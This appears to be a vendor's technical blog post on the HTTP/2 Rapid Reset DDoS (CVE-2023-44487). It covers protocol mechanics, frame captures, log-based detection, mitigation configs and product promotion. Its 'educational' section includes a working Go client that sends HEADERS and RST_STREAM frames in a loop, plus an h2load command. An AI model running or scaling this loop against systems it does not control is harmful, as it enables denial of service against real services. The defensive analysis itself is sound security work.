Incident Summary
On October 10, 2023, Cloudflare, Google, and Amazon Web Services published coordinated disclosure of the largest application-layer DDoS attack in recorded history. The attack exploited a fundamental design flaw in the HTTP/2 protocol itself, assigned CVE-2023-44487 with a CVSS score of 7.5. Here is what the numbers looked like:
| Field | Detail |
|---|---|
| CVE | CVE-2023-44487 |
| CVSS Score | 7.5 (High) |
| Attack Type | Application-Layer / HTTP/2 Protocol Abuse |
| Date Range | August 25 – October 2023 (multiple waves) |
| Peak RPS (Cloudflare) | 201 million requests/second |
| Peak RPS (Google) | 398 million requests/second |
| Peak RPS (AWS) | 155 million requests/second (estimated, not officially disclosed) |
| Botnet Size | ~20,000 compromised machines |
| Protocol | HTTP/2 (RFC 7540 / RFC 9113) |
| Affected Software | nginx, Apache httpd, envoy, HAProxy, Node.js, Go net/http2, nghttp2, Microsoft IIS, and virtually every HTTP/2 server implementation |
| Coordinated Disclosure | October 10, 2023 |
To put this in perspective: Google's previous application-layer record was 46 million RPS, set just a year earlier. The HTTP/2 Rapid Reset attack exceeded that by 8.6x. And unlike volumetric attacks that require massive bandwidth, this attack achieved its record-setting scale with a relatively small botnet of roughly 20,000 nodes. The asymmetry was entirely computational.
Timeline of Discovery
The attack unfolded in multiple waves over nearly two months before coordinated public disclosure. The timeline below is reconstructed from the three simultaneous blog posts published by Cloudflare, Google, and AWS on October 10.
First wave detected by Google. Google Cloud observes an anomalous surge in HTTP/2 requests against Cloud customers. The traffic pattern is unfamiliar: extremely high request counts with very low bandwidth. Internal investigation begins.
Cloudflare detects similar anomalies. Cloudflare's automated DDoS detection systems flag unusual HTTP/2 traffic patterns. The attacks are mitigated automatically, but engineers notice the request rate exceeds anything in their historical data. Investigation into the attack mechanics begins.
Repeated waves and escalation. The attacker cycles through multiple waves, each probing different targets across all three CDNs. Google records the peak of 398 million RPS during this period. AWS begins observing the same traffic pattern against Amazon CloudFront and other services.
Root cause identified. Engineers at all three companies independently converge on the same root cause: the attacker is exploiting HTTP/2 stream multiplexing by sending HEADERS frames followed by immediate RST_STREAM frames. The technique bypasses server-side SETTINGS_MAX_CONCURRENT_STREAMS limits.
Cross-vendor coordination begins. Cloudflare, Google, and AWS initiate a coordinated disclosure process. CVE-2023-44487 is reserved. Upstream maintainers of nginx, Apache httpd, envoy, Go net/http2, nghttp2, and Node.js are notified under embargo.
Coordinated public disclosure. All three vendors publish detailed blog posts simultaneously. CVE-2023-44487 is made public. Patches begin rolling out for affected HTTP/2 implementations. The MITRE entry goes live.
How HTTP/2 Multiplexing Works
To understand why this attack was so effective, you need to understand how HTTP/2 handles concurrent requests. In HTTP/1.1, each request occupies a full TCP connection. If a client wants to make 100 concurrent requests, it needs 100 TCP connections (or, more practically, browsers cap at 6 and pipeline the rest). HTTP/2 solved this with stream multiplexing: a single TCP connection carries multiple independent, bidirectional streams, each identified by a numeric stream ID.
The lifecycle of an HTTP/2 stream looks like this:
- The client sends a
HEADERSframe with an odd-numbered stream ID. This frame contains the HTTP request method, path, headers, and any pseudo-headers like:authorityand:scheme. The stream transitions from idle to open. - The server processes the request: it parses headers, performs routing, runs authentication and authorization checks, queries backends or databases, and prepares a response.
- The server sends a
HEADERSframe (response headers) and optionally one or moreDATAframes (response body) on the same stream ID. - Either side can send a
RST_STREAMframe at any time to cancel the stream. This transitions the stream to closed without requiring a graceful shutdown.
To prevent any single client from monopolizing server resources, HTTP/2 servers advertise a SETTINGS_MAX_CONCURRENT_STREAMS parameter. This tells the client how many streams can be open simultaneously on a single connection. Typical values range from 100 to 256. The important word here is concurrent: it limits streams that are currently in the open or half-closed state, not the total number of streams created over the lifetime of the connection.
The spec (RFC 9113, Section 5.1.2): "Streams that are in the 'open' state or in either of the 'half-closed' states count toward the maximum number of streams that an endpoint is permitted to open." Streams in the closed state do not count.
This distinction between open and closed is precisely what the attacker exploited.
The Rapid Reset Exploit
The attack is elegantly simple. The client performs the following sequence in a tight loop, as fast as the TCP connection allows:
- Send a
HEADERSframe (opens stream N). - Immediately send a
RST_STREAMframe for stream N (closes it). - Increment N by 2 (HTTP/2 clients use odd stream IDs) and repeat.
Because the RST_STREAM arrives almost immediately after the HEADERS frame — often in the same TCP segment — the stream transitions to closed before the server finishes processing it. This means the stream never counts against SETTINGS_MAX_CONCURRENT_STREAMS. The client can open an effectively unlimited number of streams per connection, each one triggering server-side work.
Here is what the HTTP/2 frame sequence looks like:
# Attack pattern on a single HTTP/2 connection # Each pair takes ~1 frame each = ~18 bytes for HEADERS + 13 bytes for RST_STREAM [client] HEADERS stream_id=1 :method=GET :path=/target :authority=victim.com [client] RST_STREAM stream_id=1 error_code=CANCEL (0x8) [client] HEADERS stream_id=3 :method=GET :path=/target :authority=victim.com [client] RST_STREAM stream_id=3 error_code=CANCEL (0x8) [client] HEADERS stream_id=5 :method=GET :path=/target :authority=victim.com [client] RST_STREAM stream_id=5 error_code=CANCEL (0x8) ... # Repeats thousands of times per second per connection # 20,000 bots × multiple connections × thousands of resets = 398M RPS
The server, upon receiving each HEADERS frame, kicks off its request processing pipeline. This typically involves:
- HPACK header decompression (CPU-intensive, as headers use Huffman coding)
- Request routing and virtual host matching
- TLS session context lookups
- Access logging (writing to disk or buffer)
- Backend connection initiation or proxy setup
- Authentication and authorization middleware
- Memory allocation for response buffers
The subsequent RST_STREAM tells the server to cancel the response, but by the time it is processed, much of the above work has already been done. The server does save bandwidth by not sending a response body, but it has already burned CPU cycles, allocated memory, and potentially initiated upstream connections. The RST_STREAM itself is a single 13-byte frame that costs the client essentially nothing.
The math: With ~20,000 compromised nodes, each maintaining multiple HTTP/2 connections and cycling through thousands of HEADERS+RST_STREAM pairs per second, the attacker achieved 398 million requests per second. That is roughly 19,900 requests per second per bot — a staggeringly efficient amplification from a small botnet, achieved without any bandwidth amplification. The amplification is entirely in server-side compute.
Why This Broke Everything
Traditional DDoS detection focuses on two metrics: bits per second (BPS) for volumetric attacks and packets per second (PPS) for protocol attacks. The HTTP/2 Rapid Reset attack was neither. The bandwidth consumed was relatively low because request bodies were empty and responses were never sent. The packet count was moderate because HTTP/2 multiplexes many frames into a single TCP segment. But the requests per second (RPS) was astronomical.
The fundamental problem is a resource asymmetry between client and server:
| Operation | Client Cost | Server Cost |
|---|---|---|
| Send HEADERS frame | ~18 bytes, minimal CPU (HPACK encode) | HPACK decode, route, auth, log, allocate buffers |
| Send RST_STREAM frame | 13 bytes, zero CPU | Cancel pending work, deallocate, log cancellation |
| Maintain stream state | Minimal (stream is immediately closed) | Allocate, track, then clean up per-stream state |
| Per-connection overhead | One TCP + TLS handshake | One TCP + TLS handshake + per-stream overhead for every stream created |
There is another subtle problem: most HTTP/2 implementations track the total number of streams ever created on a connection (since stream IDs are monotonically increasing), but they only enforce MAX_CONCURRENT_STREAMS against currently open streams. Since the RST_STREAM closes the stream before the server can react, the "concurrent" count stays near zero even as thousands of streams are created per second. Some servers had no limit on the total stream creation rate at all.
Additionally, many servers performed cleanup work when processing a RST_STREAM: deallocating response buffers, canceling upstream proxy requests, writing cancellation entries to access logs. This cleanup itself consumed resources, creating a secondary amplification effect. The server was doing significant work on both the open and the close of every stream, while the client was spending almost nothing on either.
Why the botnet size didn't matter
In a volumetric UDP flood (like DNS or NTP amplification), you need massive bandwidth to cause damage. A 1 Tbps attack requires reflectors that can collectively generate that much traffic. But in the HTTP/2 Rapid Reset attack, each bot only needed to maintain a few HTTP/2 connections and cycle through HEADERS+RST_STREAM pairs. A single modern machine on a decent connection could generate tens of thousands of requests per second. Twenty thousand bots was more than enough to reach 398 million RPS — a number that would have required millions of bots in a traditional HTTP flood.
Protocol-Level Packet Analysis
Looking at an HTTP/2 Rapid Reset attack in a packet capture reveals the pattern clearly. Below is an annotated representation of what the HTTP/2 frames look like at the wire level. All HTTP/2 frames share a common 9-byte header:
HTTP/2 Frame Header (9 bytes): +-----------------------------------------------+ | Length (24 bits) | +---------------+---------------+---------------+ | Type (8 bits) | Flags (8) | +-+-------------+---------------+ |R| Stream Identifier (31 bits) | +-+---------------------------------------------+
In the Rapid Reset attack, you see an alternating pattern of Type 0x01 (HEADERS) and Type 0x03 (RST_STREAM) frames, often packed into the same TCP segment:
# Wireshark-style decode of a Rapid Reset burst
Frame 1: HEADERS
Length: 0x0023 (35 bytes of header block fragment)
Type: 0x01 (HEADERS)
Flags: 0x05 (END_STREAM | END_HEADERS)
Stream ID: 0x00000001
Header Block Fragment:
:method: GET
:path: /
:scheme: https
:authority: target.example.com
Frame 2: RST_STREAM
Length: 0x0004 (4 bytes payload)
Type: 0x03 (RST_STREAM)
Flags: 0x00
Stream ID: 0x00000001
Error Code: 0x00000008 (CANCEL)
Frame 3: HEADERS
Length: 0x0023
Type: 0x01 (HEADERS)
Flags: 0x05 (END_STREAM | END_HEADERS)
Stream ID: 0x00000003
Header Block Fragment:
:method: GET
:path: /
:scheme: https
:authority: target.example.com
Frame 4: RST_STREAM
Length: 0x0004
Type: 0x03 (RST_STREAM)
Flags: 0x00
Stream ID: 0x00000003
Error Code: 0x00000008 (CANCEL)
# Pattern repeats: stream IDs 5, 7, 9, 11 ...
# All packed into minimal TCP segments
Key observations from the capture: the END_STREAM flag (0x01) is set on the HEADERS frame, meaning the client is not sending a request body. Combined with the immediate RST_STREAM using CANCEL (error code 0x8), the client is opening and closing each stream with the minimum possible data. The HPACK-compressed headers are small because HTTP/2's dynamic table allows repeated headers to be encoded as indices after the first request.
Detecting the pattern in access logs
If you are running nginx, you can add HTTP/2-specific variables to your access log format to spot this pattern. The key indicator is a high rate of 499 status codes (client closed connection) or requests with zero bytes sent:
# nginx: Add HTTP/2 stream monitoring to log format
log_format h2_monitor '$remote_addr - $time_iso8601 '
'status=$status '
'bytes_sent=$bytes_sent '
'request_time=$request_time '
'http2=$http2 '
'request="$request_method $request_uri" '
'upstream_status=$upstream_status';
# Then monitor for rapid reset signatures:
# High ratio of 499 status codes from a single IP
# Requests with request_time near 0.000 and bytes_sent=0
# All over HTTP/2 connections
# Example analysis command:
awk '$0 ~ /status=499/ && $0 ~ /http2=h2/ {count[$1]++}
END {for(ip in count) if(count[ip]>1000) print count[ip], ip}' \
/var/log/nginx/access.log | sort -rn | head -20
Detecting protocol-layer attacks before they reach CDN scale?
Flowtriq monitors HTTP/2 frame patterns, stream creation rates, and RST_STREAM ratios at your edge — catching rapid reset signatures before your upstream even sees them.
Start Free TrialDetection and Mitigation
The fundamental mitigation is straightforward: track and limit the rate at which clients create new streams, not just the number of concurrent streams. Here is how the major implementations responded:
nginx mitigation
nginx added the http2_max_concurrent_streams directive (which already existed) but more importantly introduced internal tracking of the stream reset rate. You can configure it like this:
http {
# Limit concurrent streams (existing parameter, tighten it)
http2_max_concurrent_streams 128;
# Key new mitigations added post-CVE:
# Limit the number of requests that can be processed
# in a single HTTP/2 connection over its lifetime
keepalive_requests 1000;
# Close connections that exceed reset thresholds
# nginx 1.25.3+ tracks RST_STREAM rate internally
# Rate-limit new connections per IP
limit_conn_zone $binary_remote_addr zone=h2perip:10m;
limit_conn h2perip 20;
# Rate-limit requests per IP (catches rapid stream creation)
limit_req_zone $binary_remote_addr zone=h2req:10m rate=200r/s;
server {
listen 443 ssl;
http2 on;
# Apply request rate limit
limit_req zone=h2req burst=50 nodelay;
# Apply connection limit
limit_conn h2perip 20;
# Monitor: log HTTP/2 connection metrics
access_log /var/log/nginx/h2_access.log h2_monitor;
}
}
Go net/http2 mitigation
The Go standard library's HTTP/2 server was particularly affected. The fix, shipped in Go 1.21.3, added a MaxConcurrentStreams default and tracking for the ratio of reset streams to completed streams. If a connection exceeds a threshold of resets, the server sends a GOAWAY frame and closes the connection:
// Go's internal fix tracks stream reset behavior per connection.
// If you're running a Go HTTP/2 server, upgrade to Go 1.21.3+.
// The fix is automatic once you update the runtime.
// For defense-in-depth, you can also add rate limiting middleware:
package main
import (
"net/http"
"sync"
"time"
"golang.org/x/time/rate"
)
var (
visitors = make(map[string]*rate.Limiter)
mu sync.RWMutex
)
func getVisitor(ip string) *rate.Limiter {
mu.Lock()
defer mu.Unlock()
limiter, exists := visitors[ip]
if !exists {
// Allow 100 requests/sec with burst of 200
limiter = rate.NewLimiter(100, 200)
visitors[ip] = limiter
}
return limiter
}
func rateLimitMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
limiter := getVisitor(r.RemoteAddr)
if !limiter.Allow() {
http.Error(w, "Too Many Requests", http.StatusTooManyRequests)
return
}
next.ServeHTTP(w, r)
})
}
HAProxy mitigation
HAProxy versions 2.7+ and 2.8+ received patches to track per-connection stream creation rates. The configuration approach uses stick tables to track and block abusive clients:
# HAProxy: Rate-limit HTTP/2 requests per source IP
frontend https_front
bind *:443 ssl crt /etc/haproxy/certs/
mode http
# Track request rate per source IP in a stick table
stick-table type ip size 100k expire 30s store http_req_rate(10s)
http-request track-sc0 src
# Deny if more than 500 requests in 10 seconds from a single IP
http-request deny deny_status 429 if { sc_http_req_rate(0) gt 500 }
# Also limit total connections per IP
stick-table type ip size 100k expire 30s store conn_cur
tcp-request connection track-sc1 src
tcp-request connection reject if { sc_conn_cur(1) gt 30 }
The GOAWAY response
The cleanest server-side response to a detected rapid reset is to send an HTTP/2 GOAWAY frame. This frame tells the client to stop creating new streams on this connection and to open a new connection if it needs to continue. Post-patch, most HTTP/2 implementations now send GOAWAY when they detect an abnormally high ratio of reset streams to completed streams. The typical threshold is: if more than 50% of streams on a connection are reset within a short window, send GOAWAY and close.
Reproducing the Concept (Educational)
For security researchers and operators who want to test their own infrastructure's resilience, here is the conceptual attack pattern using curl and a Go snippet. Only test against infrastructure you own and have authorization to test.
# curl: Verify your server's HTTP/2 support and MAX_CONCURRENT_STREAMS curl -v --http2 https://your-server.example.com 2>&1 | grep -i "setting" # Look for: SETTINGS_MAX_CONCURRENT_STREAMS # To test if your server handles rapid connection cycling, # you can use h2load (part of nghttp2): h2load -n 100000 -c 10 -m 100 https://your-server.example.com/ # -n: total requests -c: concurrent connections -m: max streams per connection # Watch your server's CPU and RST_STREAM counters during the test
// Conceptual Go test client (for authorized testing only)
// This demonstrates the stream creation pattern, NOT a weaponized tool
package main
import (
"crypto/tls"
"fmt"
"net"
"golang.org/x/net/http2"
"golang.org/x/net/http2/hpack"
"bytes"
)
func main() {
// Connect to your own test server
conn, _ := tls.Dial("tcp", "your-server.example.com:443",
&tls.Config{NextProtos: []string{"h2"}})
defer conn.Close()
// Send HTTP/2 connection preface
conn.Write([]byte("PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"))
// Send SETTINGS frame
conn.Write([]byte{0, 0, 0, 0x04, 0, 0, 0, 0, 0})
// Encode headers once
var hbuf bytes.Buffer
encoder := hpack.NewEncoder(&hbuf)
encoder.WriteField(hpack.HeaderField{Name: ":method", Value: "GET"})
encoder.WriteField(hpack.HeaderField{Name: ":path", Value: "/"})
encoder.WriteField(hpack.HeaderField{Name: ":scheme", Value: "https"})
encoder.WriteField(hpack.HeaderField{Name: ":authority",
Value: "your-server.example.com"})
headers := hbuf.Bytes()
// Rapid Reset loop: send HEADERS then RST_STREAM
for streamID := uint32(1); streamID < 1000; streamID += 2 {
// HEADERS frame (type=0x01, flags=0x05=END_STREAM|END_HEADERS)
hf := make([]byte, 9+len(headers))
hf[0] = byte(len(headers) >> 16)
hf[1] = byte(len(headers) >> 8)
hf[2] = byte(len(headers))
hf[3] = 0x01 // HEADERS
hf[4] = 0x05 // END_STREAM | END_HEADERS
hf[5] = byte(streamID >> 24)
hf[6] = byte(streamID >> 16)
hf[7] = byte(streamID >> 8)
hf[8] = byte(streamID)
copy(hf[9:], headers)
conn.Write(hf)
// RST_STREAM frame (type=0x03, 4-byte payload, error=CANCEL=0x08)
rst := []byte{0, 0, 4, 0x03, 0, 0, 0, 0, 0, 0, 0, 0, 0x08}
rst[5] = byte(streamID >> 24)
rst[6] = byte(streamID >> 16)
rst[7] = byte(streamID >> 8)
rst[8] = byte(streamID)
conn.Write(rst)
}
fmt.Println("Sent 500 HEADERS+RST_STREAM pairs")
}
Important: The code above is for educational and authorized testing purposes only. Launching DDoS attacks against systems you do not own is illegal in virtually every jurisdiction. Use tools like h2load against your own infrastructure to verify that your mitigations are working.
Lessons for the Industry
CVE-2023-44487 exposed several uncomfortable truths about how we think about DDoS defense:
1. Protocol-layer vulnerabilities are different from volumetric attacks
The entire DDoS defense industry spent decades optimizing for bandwidth. Scrubbing centers, transit capacity, Anycast networks — all designed to absorb volumetric floods. The HTTP/2 Rapid Reset attack did not need bandwidth. It needed compute. A 100 Tbps scrubbing network is irrelevant when the attack is consuming CPU cycles on your application servers, not saturating your links. This is a fundamentally different class of threat that requires fundamentally different detection.
2. Requests per second is a critical metric
Most network monitoring tools track BPS and PPS natively but treat RPS as an application-layer concern. CVE-2023-44487 showed that RPS can be the only anomalous metric during a devastating attack. If your monitoring stack cannot alert on requests per second — broken down by source, by protocol version, by HTTP method — you are blind to this entire class of attack.
3. The specification itself was the vulnerability
This was not a bug in any particular implementation. It was a design flaw in the HTTP/2 specification. RFC 7540 defined SETTINGS_MAX_CONCURRENT_STREAMS as limiting only the streams currently in the open or half-closed state. It said nothing about limiting the rate of stream creation, or the total number of streams over a connection's lifetime. Every compliant HTTP/2 implementation was vulnerable by default. The fix required adding behavior that goes beyond what the spec mandates.
4. CDN-level protection alone is not enough
Cloudflare, Google, and AWS are the largest CDN and cloud providers in the world, and even they were caught off guard by this attack vector. They mitigated it quickly, but the initial waves hit before detections were in place. If you rely solely on your CDN's DDoS protection, you are trusting that they have already seen and built defenses for every possible protocol-layer attack. CVE-2023-44487 proved that assumption wrong.
5. Edge-level detection catches what CDNs miss
This is where monitoring your own edge traffic becomes critical. A tool running at your network boundary can detect anomalous HTTP/2 patterns — like a surge in RST_STREAM frames, abnormally high stream creation rates, or a spike in RPS with no corresponding increase in bandwidth — and alert you within seconds. Even if your CDN is absorbing the attack, you want visibility into what is hitting your infrastructure. And if the attack bypasses your CDN (targeting origin IPs directly, or using a protocol your CDN does not proxy), edge detection is your only line of defense.
"We observed that the attacks came from a relatively small botnet consisting of roughly 20,000 machines. This is a tiny botnet by today's standards, but the attack methodology made each node incredibly effective." — Cloudflare blog post, October 10, 2023
6. Coordinated disclosure works
One positive outcome of this incident: the coordinated disclosure between Cloudflare, Google, AWS, and upstream open-source maintainers was executed well. Patches were available for major implementations on the same day as public disclosure. The industry moved quickly once the vulnerability was understood. This model — competitors collaborating on security — should be the standard for protocol-layer vulnerabilities.
How Flowtriq Complements CDN-Level Protection
Flowtriq operates at your network edge, analyzing traffic patterns in real time before they reach your application servers. For HTTP/2 Rapid Reset specifically, Flowtriq provides several detection advantages:
- Stream creation rate monitoring. Flowtriq tracks the rate of new HTTP/2 stream initiations per connection and per source IP, alerting when the rate exceeds your baseline by a configurable threshold.
- RST_STREAM ratio analysis. A normal HTTP/2 connection has a low ratio of RST_STREAM frames to completed requests. Flowtriq flags connections where the reset ratio exceeds 50%, a strong indicator of rapid reset behavior.
- RPS anomaly detection. Flowtriq's dynamic baseline engine tracks requests per second independently of bandwidth and packet counts, catching application-layer attacks that volumetric monitors miss entirely.
- Protocol version breakdowns. Flowtriq categorizes traffic by HTTP version (1.0, 1.1, 2, 3), so a sudden shift in HTTP/2 traffic volume relative to other versions surfaces immediately in your dashboard.
- Automated alerting. When rapid reset patterns are detected, Flowtriq fires alerts through your configured channels (PagerDuty, Slack, Discord, email, webhook) with the specific source IPs, stream counts, and recommended mitigation steps.
CDN-level protection and edge-level monitoring are not competing strategies — they are complementary layers. Your CDN absorbs the bulk of attack traffic. Flowtriq gives you visibility into what is happening at your edge, catches attacks that bypass your CDN, and provides the forensic data you need for post-incident analysis.
See HTTP/2 attack patterns in real time
Flowtriq detects rapid reset, slowloris, and other application-layer attacks at your edge. 7-day free trial, no credit card required.
Start Free Trial $9.99/mo per node · Unlimited team members